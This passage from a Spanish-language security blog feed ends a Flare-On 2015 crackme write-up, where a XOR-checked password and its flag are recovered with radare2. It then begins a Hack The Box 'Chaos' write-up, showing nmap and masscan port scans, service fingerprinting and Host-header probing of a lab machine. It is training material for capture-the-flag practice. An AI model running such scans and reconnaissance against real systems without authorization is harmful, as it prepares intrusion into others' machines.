</code></pre><p>Guardamos el valor original de EAX en una variable y subimos <strong>-10</strong> decimal con signo al stack. Llamamos a GetStdHandle con este argumento, lo cual significa que obtendremos un handle para el STDIN via CONIN$. <a href="https://docs.microsoft.com/en-us/windows/console/getstdhandle">Véase mas aquí</a></p>
<pre tabindex="0"><code>0x00401011      8945f4         mov dword [var_ch], eax
0x00401014      6af5           push 0xfffffffffffffff5     ; DWORD nStdHandle
0x00401016      ff1558204000   call dword [sym.imp.kernel32.dll_GetStdHandle] ; 0x402058 ; HANDLE GetStdHandle(DWORD nStdHandle)
</code></pre><p>El valor retornado de GetStdHandle es guardado en var_ch, mientras que ahora en lugar del valor -10, le pasaremos <strong>-11</strong>, lo cual significa el STDOUT o CONOUT$. De esta manera el programa ya tiene las direcciones de buffer (handles) para poder interactuar en entrada y salida con nuestra consola.</p>
<pre tabindex="0"><code>0x0040101c      8945f8         mov dword [hFile], eax
0x0040101f      6a00           push 0                      ; LPOVERLAPPED lpOverlapped
0x00401021      8d45fc         lea eax, [lpNumberOfBytesWritten]
0x00401024      50             push eax                    ; LPDWORD lpNumberOfBytesWritten
0x00401025      6a2a           push 0x2a                   ; &#39;*&#39; ; 42 ; DWORD nNumberOfBytesToWrite
0x00401027      68f2204000     push str.Let_s_start_out_easy____Enter_the_password ; 0x4020f2 ; &#34;Let&#39;s start out easy\r\nEnter the password&gt;&#34; ; LPCVOID lpBuffer
0x0040102c      ff75f8         push dword [hFile]          ; HANDLE hFile
0x0040102f      ff1564204000   call dword [sym.imp.kernel32.dll_WriteFile] ; 0x402064 ; BOOL WriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped)
</code></pre><p>Tras la llamada anterior, el resultado (handle de STDOUT) es guardado en hFile.</p>
<p>Ahora llamamos a <code>BOOL WriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped)</code>, lo que es equivalente a escribir en el STDOUT, el string &ldquo;Let&rsquo;s start out easy\r\nEnter the password&gt;&rdquo; que incluye 42 caracteres. Los siguientes dos parámetros son interesantes cuando manejamos una sincronización en el handle, pero dado que se trata del STDOUT, podemos ignorarlos.</p>
<pre tabindex="0"><code>0x00401035      6a00           push 0                      ; LPOVERLAPPED lpOverlapped
0x00401037      8d45fc         lea eax, [lpNumberOfBytesWritten]
0x0040103a      50             push eax                    ; LPDWORD lpNumberOfBytesRead
0x0040103b      6a32           push 0x32                   ; &#39;2&#39; ; 50 ; DWORD nNumberOfBytesToRead
0x0040103d      6858214000     push 0x402158               ; &#39;X!@&#39; ; LPVOID lpBuffer
0x00401042      ff75f4         push dword [var_ch]         ; HANDLE hFile
0x00401045      ff1568204000   call dword [sym.imp.kernel32.dll_ReadFile] ; 0x402068 ; BOOL ReadFile(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped)
</code></pre><p>Después de escribir en pantalla, la siguiente función ReadFile, tomara el texto que ingresemos después del cursor hasta que encuentre un carácter de nueva linea. Importante mencionar que lo que ingresemos, se guardará en <strong>0x402158</strong> y el tamaño máximo de caracteres a guardar es de 50. Nuevamente las ultimas dos opciones corresponden a archivos que necesiten sincronía, que no es nuestro caso.</p>
<pre tabindex="0"><code>0x0040104b      31c9           xor ecx, ecx
0x0040104d      8a8158214000   mov al, byte [ecx + 0x402158] ; [0x402158:1]=0
0x00401053      347d           xor al, 0x7d
0x00401055      3a8140214000   cmp al, byte [ecx + 0x402140] ; [0x402140:1]=31
0x0040105b      751e           jne 0x40107b
0x0040105d      41             inc ecx
0x0040105e      83f918         cmp ecx, 0x18               ; 24
0x00401061      7cea           jl 0x40104d
</code></pre><p>Limpiamos ECX y iniciamos un loop. En este loop estaremos tomando cada carácter que escribimos anteriormente y le aplicaremos la operación XOR contra <strong>0x7d</strong>, posteriormente compararemos el resultado con lo que se encuentre en la ubicación 0x402140 mas el index de la letra respectiva.</p>
<p><img src="/img/flareon2015-c1/flow.png" alt="flow"></p>
<p>Si por algún motivo, en alguna iteración las letras no son iguales (entiéndase letra como el carácter en turno ^ 0x7d), entonces el loop saldrá hacia la dirección 0x40107b. Caso de que sean iguales, incrementara el contador ECX y validara si este ya llego a 24 decimal.</p>
<p>Esto significa que la longitud a comparar es de 24 caracteres y la del buffer es de 50, y que cada letra puede ser reversible si aplicamos un xor 0x7d al buffer de comparación. Hagamos este paso después de terminar el análisis estático.</p>
<pre tabindex="0"><code>0x00401063      6a00           push 0                      ; LPOVERLAPPED lpOverlapped
0x00401065      8d45fc         lea eax, [lpNumberOfBytesWritten]
0x00401068      50             push eax                    ; LPDWORD lpNumberOfBytesWritten
0x00401069      6a12           push 0x12                   ; 18 ; DWORD nNumberOfBytesToWrite
0x0040106b      681c214000     push str.You_are_success    ; 0x40211c ; &#34;You are success\r\n&#34; ; LPCVOID lpBuffer
0x00401070      ff75f8         push dword [hFile]          ; HANDLE hFile
0x00401073      ff1564204000   call dword [sym.imp.kernel32.dll_WriteFile] ; 0x402064 ; BOOL WriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped)
0x00401079      eb16           jmp 0x401091
</code></pre><p>Si todas las letras anteriores coincidieron, entonces se escribirá en el STDOUT el mensaje &ldquo;You are success\r\n&rdquo;.</p>
<pre tabindex="0"><code>0x0040107b      6a00           push 0                      ; LPOVERLAPPED lpOverlapped
0x0040107d      8d45fc         lea eax, [lpNumberOfBytesWritten]
0x00401080      50             push eax                    ; LPDWORD lpNumberOfBytesWritten
0x00401081      6a12           push 0x12                   ; 18 ; DWORD nNumberOfBytesToWrite
0x00401083      682e214000     push str.You_are_failure    ; 0x40212e ; &#34;You are failure\r\n&#34; ; LPCVOID lpBuffer
0x00401088      ff75f8         push dword [hFile]          ; HANDLE hFile
0x0040108b      ff1564204000   call dword [sym.imp.kernel32.dll_WriteFile] ; 0x402064 ; BOOL WriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped)
</code></pre><p>Caso de que alguna letra no coincida, se realizaba el jump a <code>0x0040107b</code> y se imprime en el STDOUT el mensaje &ldquo;You are failure\r\n&rdquo;.</p>
<p>Si generamos el pseudocódigo tenemos:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;stdbool.h&gt;</span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;stdint.h&gt;</span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;stdlib.h&gt;</span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;windows.h&gt;</span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">int32_t</span> <span style="color:#a6e22e">entry_point</span>(<span style="color:#66d9ef">void</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>g1 <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\x1f\x08\x13\x13\x04\x22\x0e\x11\x4d\x0d\x18\x3d\x1b\x11\x1c\x0f\x18\x50\x12\x13\x53\x1e\x12\x10</span><span style="color:#e6db74">&#34;</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int32_t</span> g2 <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int32_t</span> <span style="color:#a6e22e">entry_point</span>(<span style="color:#66d9ef">void</span>) {
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">int32_t</span> <span style="color:#f92672">*</span> hFile2 <span style="color:#f92672">=</span> <span style="color:#a6e22e">GetStdHandle</span>(<span style="color:#f92672">-</span><span style="color:#ae81ff">10</span>); <span style="color:#75715e">// 0x40100b
</span></span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">int32_t</span> <span style="color:#f92672">*</span> hFile <span style="color:#f92672">=</span> <span style="color:#a6e22e">GetStdHandle</span>(<span style="color:#f92672">-</span><span style="color:#ae81ff">11</span>); <span style="color:#75715e">// 0x401016
</span></span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">int32_t</span> lpNumberOfBytesWritten; <span style="color:#75715e">// bp-8
</span></span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">WriteFile</span>(hFile, (<span style="color:#66d9ef">int32_t</span> <span style="color:#f92672">*</span>)<span style="color:#e6db74">&#34;Let&#39;s start out easy</span><span style="color:#ae81ff">\r\n</span><span style="color:#e6db74">Enter the password&gt;&#34;</span>, <span style="color:#ae81ff">42</span>, <span style="color:#f92672">&amp;</span>lpNumberOfBytesWritten, NULL);
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">ReadFile</span>(hFile2, <span style="color:#f92672">&amp;</span>g2, <span style="color:#ae81ff">50</span>, <span style="color:#f92672">&amp;</span>lpNumberOfBytesWritten NULL);
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">int32_t</span> v1 <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; <span style="color:#ae81ff">0x40105d</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">while</span> (true) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">char</span> v2 <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>(<span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>)(v1 <span style="color:#f92672">+</span> (<span style="color:#66d9ef">int32_t</span>)<span style="color:#f92672">&amp;</span>g1); <span style="color:#ae81ff">0x401055</span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> ((<span style="color:#f92672">*</span>(<span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>)(v1 <span style="color:#f92672">+</span> (<span style="color:#66d9ef">int32_t</span>)<span style="color:#f92672">&amp;</span>g2) <span style="color:#f92672">^</span> <span style="color:#ae81ff">125</span>) <span style="color:#f92672">!=</span> v2) {
</span></span><span style="display:flex;"><span>            <span style="color:#75715e">// break -&gt; 0x40107b
</span></span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">break</span>;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">int32_t</span> v3 <span style="color:#f92672">=</span> v1 <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>; <span style="color:#75715e">// 0x40105d
</span></span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (v3 <span style="color:#f92672">&gt;=</span> <span style="color:#ae81ff">24</span>) {
</span></span><span style="display:flex;"><span>            <span style="color:#75715e">// 0x401063
</span></span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">WriteFile</span>(hFile, (<span style="color:#66d9ef">int32_t</span> <span style="color:#f92672">*</span>)<span style="color:#e6db74">&#34;You are success</span><span style="color:#ae81ff">\r\n</span><span style="color:#e6db74">&#34;</span>, <span style="color:#ae81ff">18</span>, <span style="color:#f92672">&amp;</span>lpNumberOfBytesWritten, NULL);
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        v1 <span style="color:#f92672">=</span> v3;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// 0x401091
</span></span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">WriteFile</span>(hFile, (<span style="color:#66d9ef">int32_t</span> <span style="color:#f92672">*</span>)<span style="color:#e6db74">&#34;You are failure</span><span style="color:#ae81ff">\r\n</span><span style="color:#e6db74">&#34;</span>, <span style="color:#ae81ff">18</span>, <span style="color:#f92672">&amp;</span>lpNumberOfBytesWritten, NULL);
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Ahora que hemos analizado correctamente las instrucciones, radare2 nos permite aplicar operaciones sin realmente modificar el binario, por lo que veamos primero que hay en <code>0x402140</code>, después habilitemos el modo de cache y finalmente modifiquemos esta área del buffer con un <code>XOR 0x7d</code> para 24 caracteres:</p>
<p><img src="/img/flareon2015-c1/buffer1.png" alt="buffer1"></p>
<p>La flag se revela ante nosotros:</p>
<p><strong><a href="mailto:bunny_sl0pe@flare-on.com">bunny_sl0pe@flare-on.com</a></strong></p>
<p>Validemos rápidamente vía WINE:</p>
<p><img src="/img/flareon2015-c1/solved.png" alt="solved"></p>
<p>Flag validada.</p>
<hr>
<p>Espero que les haya gustado.</p>
<p>Saludos,</p>]]></content></item><item><title>HTB write-up: Chaos</title><link>https://www.xbyte.mx/posts/htb_writeup_-_chaos/</link><pubDate>Sat, 25 May 2019 10:00:00 -0500</pubDate><guid>https://www.xbyte.mx/posts/htb_writeup_-_chaos/</guid><description>&lt;p&gt;Esta maquina me recordó que siempre hay que buscar en las esquinas, a ser mas persistente en la búsqueda hacia root. Salio relativamente rápida una vez que llegue a user, pero aun así disfrute la experiencia. Esa parte de generar el código en python para aplicar lo inverso y esa parte de pdftex me gustaron mucho. También la parte de firefox me pareció divertida lo directo que era.&lt;/p&gt;</description><content type="html"><![CDATA[<p>Esta maquina me recordó que siempre hay que buscar en las esquinas, a ser mas persistente en la búsqueda hacia root. Salio relativamente rápida una vez que llegue a user, pero aun así disfrute la experiencia. Esa parte de generar el código en python para aplicar lo inverso y esa parte de pdftex me gustaron mucho. También la parte de firefox me pareció divertida lo directo que era.</p>
<h1 id="machine-info">Machine info</h1>
<p>La información que tenemos de la máquina es:</p>
<table>
  <thead>
      <tr>
          <th>Name</th>
          <th>Maker</th>
          <th>OS</th>
          <th>IP Address</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><img src="https://www.hackthebox.eu/storage/avatars/7bbafb1fe25f39671329aa6758b68da6_thumb.png" alt="chaos image"> <a href="https://www.hackthebox.eu/home/machines/profile/167">Chaos</a></td>
          <td><a href="https://www.hackthebox.eu/home/users/profile/27390">felamos</a></td>
          <td>Linux</td>
          <td>10.10.10.120</td>
      </tr>
  </tbody>
</table>
<p>Su tarjeta de presentación es:</p>
<p><img src="/img/htb-chaos/cardinfo.png" alt="cardinfo"></p>
<h1 id="port-scanning">Port Scanning</h1>
<p>Iniciamos por ejecutar un <code>nmap</code> y un <code>masscan</code> para identificar puertos udp y tcp abiertos:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@laptop:~#  nmap -sS -p- --open -v -n 10.10.10.120
</span></span><span style="display:flex;"><span>Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-23 23:00 CST
</span></span><span style="display:flex;"><span>Initiating Ping Scan at 23:00
</span></span><span style="display:flex;"><span>Scanning 10.10.10.120 [4 ports]
</span></span><span style="display:flex;"><span>Completed Ping Scan at 23:00, 0.44s elapsed (1 total hosts)
</span></span><span style="display:flex;"><span>Initiating SYN Stealth Scan at 23:00
</span></span><span style="display:flex;"><span>Scanning 10.10.10.120 [65535 ports]
</span></span><span style="display:flex;"><span>Discovered open port 995/tcp on 10.10.10.120
</span></span><span style="display:flex;"><span>Discovered open port 80/tcp on 10.10.10.120
</span></span><span style="display:flex;"><span>Discovered open port 993/tcp on 10.10.10.120
</span></span><span style="display:flex;"><span>Discovered open port 110/tcp on 10.10.10.120
</span></span><span style="display:flex;"><span>Discovered open port 143/tcp on 10.10.10.120
</span></span><span style="display:flex;"><span>SYN Stealth Scan Timing: About 36.69% done; ETC: 23:01 (0:00:53 remaining)
</span></span><span style="display:flex;"><span>Discovered open port 10000/tcp on 10.10.10.120
</span></span><span style="display:flex;"><span>Completed SYN Stealth Scan at 23:02, 136.88s elapsed (65535 total ports)
</span></span><span style="display:flex;"><span>Nmap scan report for 10.10.10.120
</span></span><span style="display:flex;"><span>Host is up (0.22s latency).
</span></span><span style="display:flex;"><span>Not shown: 65482 closed ports, 47 filtered ports
</span></span><span style="display:flex;"><span>Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
</span></span><span style="display:flex;"><span>PORT      STATE SERVICE
</span></span><span style="display:flex;"><span>80/tcp    open  http
</span></span><span style="display:flex;"><span>110/tcp   open  pop3
</span></span><span style="display:flex;"><span>143/tcp   open  imap
</span></span><span style="display:flex;"><span>993/tcp   open  imaps
</span></span><span style="display:flex;"><span>995/tcp   open  pop3s
</span></span><span style="display:flex;"><span>10000/tcp open  snet-sensor-mgmt
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Read data files from: /usr/bin/../share/nmap
</span></span><span style="display:flex;"><span>Nmap done: 1 IP address (1 host up) scanned in 137.49 seconds
</span></span><span style="display:flex;"><span>           Raw packets sent: 141953 (6.246MB) | Rcvd: 127712 (5.108MB)text
</span></span></code></pre></div><ul>
<li><code>-sS</code> para escaneo TCP vía SYN</li>
<li><code>-p-</code> para todos los puertos TCP</li>
<li><code>--open</code> para que solo me muestre resultados de puertos abiertos</li>
<li><code>-n</code> para no ejecutar resoluciones</li>
<li><code>-v</code> para modo <em>verboso</em></li>
</ul>
<p>Continuemos con el doblecheck usando <code>masscan</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-02-27 05:20:02 GMT
</span></span><span style="display:flex;"><span> -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
</span></span><span style="display:flex;"><span>Initiating SYN Stealth Scan
</span></span><span style="display:flex;"><span>Scanning 1 hosts [131072 ports/host]
</span></span><span style="display:flex;"><span>Discovered open port 80/tcp on 10.10.10.120
</span></span><span style="display:flex;"><span>Discovered open port 10000/udp on 10.10.10.120
</span></span><span style="display:flex;"><span>Discovered open port 995/tcp on 10.10.10.120
</span></span><span style="display:flex;"><span>Discovered open port 10000/tcp on 10.10.10.120
</span></span><span style="display:flex;"><span>Discovered open port 993/tcp on 10.10.10.120
</span></span><span style="display:flex;"><span>Discovered open port 143/tcp on 10.10.10.120
</span></span></code></pre></div><ul>
<li><code>-e tun0</code> para ejecutarlo nada mas en la interface tun0</li>
<li><code>-p0-65535,U:0-65535</code> TODOS los puertos (TCP y UDP)</li>
<li><code>--rate 500</code> para mandar 500pps y no sobre cargar la VPN</li>
</ul>
<p>Como podemos ver, los puertos corresponden entre si (TCP), por lo que continuamos con la enumeración de servicios nuevamente con <code>nmap</code>.</p>
<h1 id="services-identification">Services Identification</h1>
<p>Lanzamos <code>nmap</code> con los parámetros habituales para la identificación (-sC -sV):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@laptop:~# nmap -sV -sC -p80,110,143,993,995,10000 -n 10.10.10.120
</span></span><span style="display:flex;"><span>Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-09 20:21 CDT
</span></span><span style="display:flex;"><span>Nmap scan report for 10.10.10.120
</span></span><span style="display:flex;"><span>Host is up (0.20s latency).
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>PORT      STATE SERVICE  VERSION
</span></span><span style="display:flex;"><span>80/tcp    open  http     Apache httpd 2.4.34 ((Ubuntu))
</span></span><span style="display:flex;"><span>|_http-server-header: Apache/2.4.34 (Ubuntu)
</span></span><span style="display:flex;"><span>|_http-title: Site doesn&#39;t have a title (text/html).
</span></span><span style="display:flex;"><span>110/tcp   open  pop3     Dovecot pop3d
</span></span><span style="display:flex;"><span>|_pop3-capabilities: SASL RESP-CODES AUTH-RESP-CODE TOP PIPELINING STLS CAPA UIDL
</span></span><span style="display:flex;"><span>| ssl-cert: Subject: commonName=chaos
</span></span><span style="display:flex;"><span>| Subject Alternative Name: DNS:chaos
</span></span><span style="display:flex;"><span>| Not valid before: 2018-10-28T10:01:49
</span></span><span style="display:flex;"><span>|_Not valid after:  2028-10-25T10:01:49
</span></span><span style="display:flex;"><span>|_ssl-date: TLS randomness does not represent time
</span></span><span style="display:flex;"><span>143/tcp   open  imap     Dovecot imapd (Ubuntu)
</span></span><span style="display:flex;"><span>|_imap-capabilities: listed ENABLE have Pre-login post-login SASL-IR LOGIN-REFERRALS IMAP4rev1 capabilities more LITERAL+ IDLE LOGINDISABLEDA0001 STARTTLS ID OK
</span></span><span style="display:flex;"><span>| ssl-cert: Subject: commonName=chaos
</span></span><span style="display:flex;"><span>| Subject Alternative Name: DNS:chaos
</span></span><span style="display:flex;"><span>| Not valid before: 2018-10-28T10:01:49
</span></span><span style="display:flex;"><span>|_Not valid after:  2028-10-25T10:01:49
</span></span><span style="display:flex;"><span>|_ssl-date: TLS randomness does not represent time
</span></span><span style="display:flex;"><span>993/tcp   open  ssl/imap Dovecot imapd (Ubuntu)
</span></span><span style="display:flex;"><span>|_imap-capabilities: ENABLE post-login Pre-login have SASL-IR LOGIN-REFERRALS IMAP4rev1 capabilities more listed IDLE LITERAL+ AUTH=PLAINA0001 ID OK
</span></span><span style="display:flex;"><span>| ssl-cert: Subject: commonName=chaos
</span></span><span style="display:flex;"><span>| Subject Alternative Name: DNS:chaos
</span></span><span style="display:flex;"><span>| Not valid before: 2018-10-28T10:01:49
</span></span><span style="display:flex;"><span>|_Not valid after:  2028-10-25T10:01:49
</span></span><span style="display:flex;"><span>|_ssl-date: TLS randomness does not represent time
</span></span><span style="display:flex;"><span>995/tcp   open  ssl/pop3 Dovecot pop3d
</span></span><span style="display:flex;"><span>|_pop3-capabilities: SASL(PLAIN) USER AUTH-RESP-CODE TOP PIPELINING RESP-CODES CAPA UIDL
</span></span><span style="display:flex;"><span>| ssl-cert: Subject: commonName=chaos
</span></span><span style="display:flex;"><span>| Subject Alternative Name: DNS:chaos
</span></span><span style="display:flex;"><span>| Not valid before: 2018-10-28T10:01:49
</span></span><span style="display:flex;"><span>|_Not valid after:  2028-10-25T10:01:49
</span></span><span style="display:flex;"><span>|_ssl-date: TLS randomness does not represent time
</span></span><span style="display:flex;"><span>10000/tcp open  http     MiniServ 1.890 (Webmin httpd)
</span></span><span style="display:flex;"><span>|_http-title: Site doesn&#39;t have a title (text/html; Charset=iso-8859-1).
</span></span><span style="display:flex;"><span>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
</span></span><span style="display:flex;"><span>Nmap done: 1 IP address (1 host up) scanned in 45.58 seconds
</span></span></code></pre></div><p>Tenemos varios servicios de correo, unos servicios HTTP en el TCP/80 y otro en el TCP/10000. Este ultimo tiene el banner de <em>webmin</em>, mientras que el anterior parece que no tiene nada.</p>
<p>Importante que durante la enumeración, el daemon que se encarga del correo es <strong>Dovecot</strong>.</p>
<h1 id="http-service-over-tcp80">HTTP Service over TCP/80</h1>
<p>Comencemos por obtener mas información sobre los archivos y carpetas sobre el servicio HTTP (TCP/80):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/chaos$ http 10.10.10.120
</span></span><span style="display:flex;"><span>HTTP/1.1 200 OK
</span></span><span style="display:flex;"><span>Accept-Ranges: bytes
</span></span><span style="display:flex;"><span>Connection: Keep-Alive
</span></span><span style="display:flex;"><span>Content-Encoding: gzip
</span></span><span style="display:flex;"><span>Content-Length: 84
</span></span><span style="display:flex;"><span>Content-Type: text/html
</span></span><span style="display:flex;"><span>Date: Sat, 13 Apr 2019 16:31:02 GMT
</span></span><span style="display:flex;"><span>ETag: &#34;49-57947aa3269e5-gzip&#34;
</span></span><span style="display:flex;"><span>Keep-Alive: timeout=5, max=100
</span></span><span style="display:flex;"><span>Last-Modified: Sun, 28 Oct 2018 10:46:28 GMT
</span></span><span style="display:flex;"><span>Server: Apache/2.4.34 (Ubuntu)
</span></span><span style="display:flex;"><span>Vary: Accept-Encoding
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;h1&gt;&lt;center&gt;&lt;font color=&#34;red&#34;&gt;Direct IP not allowed&lt;/font&gt;&lt;/center&gt;&lt;/h1&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>xbytemx@laptop:~/htb/chaos$ http 10.10.10.120 Host:localhost
</span></span><span style="display:flex;"><span>HTTP/1.1 200 OK
</span></span><span style="display:flex;"><span>Accept-Ranges: bytes
</span></span><span style="display:flex;"><span>Connection: Keep-Alive
</span></span><span style="display:flex;"><span>Content-Encoding: gzip
</span></span><span style="display:flex;"><span>Content-Length: 84
</span></span><span style="display:flex;"><span>Content-Type: text/html
</span></span><span style="display:flex;"><span>Date: Sat, 13 Apr 2019 16:31:19 GMT
</span></span><span style="display:flex;"><span>ETag: &#34;49-57947aa3269e5-gzip&#34;
</span></span><span style="display:flex;"><span>Keep-Alive: timeout=5, max=100
</span></span><span style="display:flex;"><span>Last-Modified: Sun, 28 Oct 2018 10:46:28 GMT
</span></span><span style="display:flex;"><span>Server: Apache/2.4.34 (Ubuntu)
</span></span><span style="display:flex;"><span>Vary: Accept-Encoding
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;h1&gt;&lt;center&gt;&lt;font color=&#34;red&#34;&gt;Direct IP not allowed&lt;/font&gt;&lt;/center&gt;&lt;/h1&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>xbytemx@laptop:~/htb/chaos$ http 10.10.10.120 Host:chaos.htb
</span></span><span style="display:flex;"><span>HTTP/1.1 200 OK
</span></span><span style="display:flex;"><span>Accept-Ranges: bytes
</span></span><span style="display:flex;"><span>Connection: Keep-Alive
</span></span><span style="display:flex;"><span>Content-Encoding: gzip
</span></span><span style="display:flex;"><span>Content-Length: 2225
</span></span><span style="display:flex;"><span>Content-Type: text/html
</span></span><span style="display:flex;"><span>Date: Sat, 13 Apr 2019 16:31:26 GMT
</span></span><span style="display:flex;"><span>ETag: &#34;1b34-5791b3cff5e80-gzip&#34;
</span></span><span style="display:flex;"><span>Keep-Alive: timeout=5, max=100
</span></span><span style="display:flex;"><span>Last-Modified: Fri, 26 Oct 2018 05:46:18 GMT
</span></span><span style="display:flex;"><span>Server: Apache/2.4.34 (Ubuntu)
</span></span><span style="display:flex;"><span>Vary: Accept-Encoding
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;!DOCTYPE html&gt;
</span></span><span style="display:flex;"><span>&lt;html lang=&#34;en&#34;&gt;
</span></span><span style="display:flex;"><span>&lt;head&gt;
</span></span><span style="display:flex;"><span>	&lt;title&gt;Chaos&lt;/title&gt;
</span></span><span style="display:flex;"><span>	&lt;meta charset=&#34;UTF-8&#34;&gt;
</span></span><span style="display:flex;"><span>	&lt;meta name=&#34;description&#34; content=&#34;HALO photography portfolio template&#34;&gt;
</span></span><span style="display:flex;"><span>	&lt;meta name=&#34;keywords&#34; content=&#34;photography, portfolio, onepage, creative, html&#34;&gt;
</span></span><span style="display:flex;"><span>	&lt;meta name=&#34;viewport&#34; content=&#34;width=device-width, initial-scale=1.0&#34;&gt;
</span></span><span style="display:flex;"><span>	&lt;!-- Favicon --&gt;
</span></span><span style="display:flex;"><span>	&lt;link href=&#34;img/favicon.ico&#34; rel=&#34;shortcut icon&#34;/&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	&lt;!-- Google Fonts --&gt;
</span></span><span style="display:flex;"><span>	&lt;link href=&#34;https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i&#34; rel=&#34;stylesheet&#34;&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	&lt;!-- Stylesheets --&gt;
</span></span><span style="display:flex;"><span>	&lt;link rel=&#34;stylesheet&#34; href=&#34;css/bootstrap.min.css&#34;/&gt;
</span></span><span style="display:flex;"><span>	&lt;link rel=&#34;stylesheet&#34; href=&#34;css/font-awesome.min.css&#34;/&gt;
</span></span><span style="display:flex;"><span>	&lt;link rel=&#34;stylesheet&#34; href=&#34;css/flaticon.css&#34;/&gt;
</span></span><span style="display:flex;"><span>	&lt;link rel=&#34;stylesheet&#34; href=&#34;css/animate.css&#34;/&gt;
</span></span><span style="display:flex;"><span>	&lt;link rel=&#34;stylesheet&#34; href=&#34;css/owl.carousel.css&#34;/&gt;
</span></span><span style="display:flex;"><span>	&lt;link rel=&#34;stylesheet&#34; href=&#34;css/style.css&#34;/&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	&lt;!--[if lt IE 9]&gt;
</span></span><span style="display:flex;"><span>	  &lt;script src=&#34;https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js&#34;&gt;&lt;/script&gt;
